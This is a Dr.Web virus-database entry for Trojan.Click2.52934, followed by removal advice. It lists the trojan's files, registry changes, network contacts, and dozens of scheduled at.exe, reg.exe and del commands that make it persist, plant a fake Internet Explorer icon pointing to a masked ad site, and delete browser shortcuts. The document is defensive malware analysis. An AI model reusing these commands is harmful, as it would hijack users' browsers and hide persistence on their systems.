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Trojan.Click2.52934

Added to the Dr.Web virus database: 2013-03-25

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • %WINDIR%\Tasks\At48.job
  • %WINDIR%\Tasks\At49.job
  • %WINDIR%\Tasks\At46.job
  • %WINDIR%\Tasks\At47.job
  • %WINDIR%\Tasks\At52.job
  • %WINDIR%\Tasks\At53.job
  • %WINDIR%\Tasks\At50.job
  • %WINDIR%\Tasks\At51.job
  • %WINDIR%\Tasks\At45.job
  • %WINDIR%\Tasks\At39.job
  • %WINDIR%\Tasks\At40.job
  • %WINDIR%\Tasks\At37.job
  • %WINDIR%\Tasks\At38.job
  • %WINDIR%\Tasks\At43.job
  • %WINDIR%\Tasks\At44.job
  • %WINDIR%\Tasks\At41.job
  • %WINDIR%\Tasks\At42.job
  • %WINDIR%\Tasks\At54.job
  • %WINDIR%\Tasks\At66.job
  • %WINDIR%\Tasks\At67.job
  • %WINDIR%\Tasks\At64.job
  • %WINDIR%\Tasks\At65.job
  • %WINDIR%\Tasks\At70.job
  • %WINDIR%\Tasks\At71.job
  • %WINDIR%\Tasks\At68.job
  • %WINDIR%\Tasks\At69.job
  • %WINDIR%\Tasks\At63.job
  • %WINDIR%\Tasks\At57.job
  • %WINDIR%\Tasks\At58.job
  • %WINDIR%\Tasks\At55.job
  • %WINDIR%\Tasks\At56.job
  • %WINDIR%\Tasks\At61.job
  • %WINDIR%\Tasks\At62.job
  • %WINDIR%\Tasks\At59.job
  • %WINDIR%\Tasks\At60.job
  • %WINDIR%\Tasks\At36.job
  • %WINDIR%\Tasks\At12.job
  • %WINDIR%\Tasks\At13.job
  • %WINDIR%\Tasks\At10.job
  • %WINDIR%\Tasks\At11.job
  • %WINDIR%\Tasks\At16.job
  • %WINDIR%\Tasks\At17.job
  • %WINDIR%\Tasks\At14.job
  • %WINDIR%\Tasks\At15.job
  • %WINDIR%\Tasks\At9.job
  • %WINDIR%\Tasks\At3.job
  • %WINDIR%\Tasks\At4.job
  • %WINDIR%\Tasks\At1.job
  • %WINDIR%\Tasks\At2.job
  • %WINDIR%\Tasks\At7.job
  • %WINDIR%\Tasks\At8.job
  • %WINDIR%\Tasks\At5.job
  • %WINDIR%\Tasks\At6.job
  • %WINDIR%\Tasks\At18.job
  • %WINDIR%\Tasks\At30.job
  • %WINDIR%\Tasks\At31.job
  • %WINDIR%\Tasks\At28.job
  • %WINDIR%\Tasks\At29.job
  • %WINDIR%\Tasks\At34.job
  • %WINDIR%\Tasks\At35.job
  • %WINDIR%\Tasks\At32.job
  • %WINDIR%\Tasks\At33.job
  • %WINDIR%\Tasks\At27.job
  • %WINDIR%\Tasks\At21.job
  • %WINDIR%\Tasks\At22.job
  • %WINDIR%\Tasks\At19.job
  • %WINDIR%\Tasks\At20.job
  • %WINDIR%\Tasks\At25.job
  • %WINDIR%\Tasks\At26.job
  • %WINDIR%\Tasks\At23.job
  • %WINDIR%\Tasks\At24.job
Creates the following services:
  • [<HKLM>\SYSTEM\ControlSet001\Services\Schedule] 'Start' = '00000002'
Malicious functions:
Executes the following:
  • <SYSTEM32>\at.exe 20:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 20:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 21:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 19:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 19:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 20:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 22:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 22:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 23:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 21:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 21:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 22:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 16:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 16:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 17:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 15:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 15:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 16:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 18:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 18:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 19:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 17:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 17:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 18:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 23:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 19:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%ALLUSERSPROFILE%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 21:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 21:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*└└*.*"
  • <SYSTEM32>\at.exe 19:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 19:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*└└*.*"
  • <SYSTEM32>\at.exe 19:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday %WINDIR%\mail\UltraEdlt\is.cmd
  • <SYSTEM32>\at.exe 14:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
  • <SYSTEM32>\at.exe 18:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
  • <SYSTEM32>\at.exe 21:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
  • <SYSTEM32>\at.exe 21:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday %WINDIR%\mail\UltraEdlt\is.cmd
  • <SYSTEM32>\at.exe 21:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%ALLUSERSPROFILE%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 9:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
  • <SYSTEM32>\at.exe 00:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 10:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 10:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*фп└└*.*"
  • <SYSTEM32>\at.exe 23:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 00:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 00:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 14:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*фп└└*.*"
  • <SYSTEM32>\at.exe 14:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday %WINDIR%\mail\UltraEdlt\is.cmd
  • <SYSTEM32>\at.exe 14:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%ALLUSERSPROFILE%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 10:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday %WINDIR%\mail\UltraEdlt\is.cmd
  • <SYSTEM32>\at.exe 10:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%ALLUSERSPROFILE%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 14:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 15:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤Є┐к╓ў╥│(&H)\Command"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤Є┐к╓ў╥│(&H)\Command" /ve /t REG_SZ /d "%PROGRAM_FILES%\Internet Explorer\iexplore.exe http:\\www.45##.net\?ha# /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩Ї╨╘(&R)"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell" /ve /t REG_SZ /d "┤Є┐к╓ў╥│(&H)" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤Є┐к╓ў╥│(&H)"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤Є┐к╓ў╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩Ї╨╘(&R)\Command"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩Ї╨╘(&R)\Command" /ve /t REG_SZ /d "%PROGRAM_FILES%\Internet Explorer\iexplore.exe http:\\www.45##.net\?ha# /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "InfoTip" /t REG_SZ /d "▓щ╒╥▓в╧╘╩╛ Internet ╔╧╡─╨┼╧в║══°╒╛" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "LocalizedString" /t REG_SZ /d "Internet Exploror" /f
  • <SYSTEM32>\wscript.exe "%TEMP%\RarSFX0\huacai.vbs"
  • %PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE http://45##.net/index2.html?hu####
  • <SYSTEM32>\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t REG_DWORD /d 1 /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /ve /t REG_SZ /d "%systemRoot%\system32\shdocvw.dll" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
  • <SYSTEM32>\at.exe 12:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 12:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 12:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 11:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 11:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 11:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 14:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 14:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 14:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 13:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 13:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 13:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 8:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 8:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 8:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\reg.exe ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f
  • <SYSTEM32>\sc.exe config Schedule start= auto
  • <SYSTEM32>\net1.exe start "Task Scheduler"
  • <SYSTEM32>\at.exe 10:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 10:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 10:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 9:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 9:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 9:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explore\Quick Launch\*Explore*.*"
Modifies settings of Windows Explorer:
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoInternetIcon' = '00000001'
Modifies file system :
Creates the following files:
  • %WINDIR%\Mail\UltraEdlt\winare.vbs
  • %WINDIR%\Mail\UltraEdlt\is.cmd
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\index2[1].html
  • %PROGRAM_FILES%\WindWare\winare.vbs
  • %PROGRAM_FILES%\WindWare\to.cmd
  • %PROGRAM_FILES%\WindWare\is.cmd
  • %PROGRAM_FILES%\WindWare\361.cmd
  • %TEMP%\RarSFX0\winare.vbs
  • %TEMP%\RarSFX0\copy.cmd
  • %TEMP%\RarSFX0\361.cmd
  • %TEMP%\RarSFX0\huacai.vbs
  • %TEMP%\RarSFX0\iedw.ico
  • %TEMP%\RarSFX0\to.cmd
  • %TEMP%\RarSFX0\run.cmd
  • %TEMP%\RarSFX0\is.cmd
Deletes the following files:
  • %TEMP%\RarSFX0\is.cmd
  • %TEMP%\RarSFX0\iedw.ico
  • %TEMP%\RarSFX0\winare.vbs
  • %TEMP%\RarSFX0\to.cmd
  • %TEMP%\RarSFX0\361.cmd
  • %TEMP%\RarSFX0\run.cmd
  • %TEMP%\RarSFX0\huacai.vbs
  • %TEMP%\RarSFX0\copy.cmd
Network activity:
Connects to:
  • '45##.net':80
  • 'localhost':1035
TCP:
HTTP GET requests:
  • 45##.net/index2.html?hu####
UDP:
  • DNS ASK 45##.net
Miscellaneous:
Searches for the following windows:
  • ClassName: 'MS_AutodialMonitor' WindowName: ''
  • ClassName: 'MS_WebcheckMonitor' WindowName: ''
  • ClassName: '' WindowName: ''
  • ClassName: 'EDIT' WindowName: ''
  • ClassName: 'Shell_TrayWnd' WindowName: ''

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android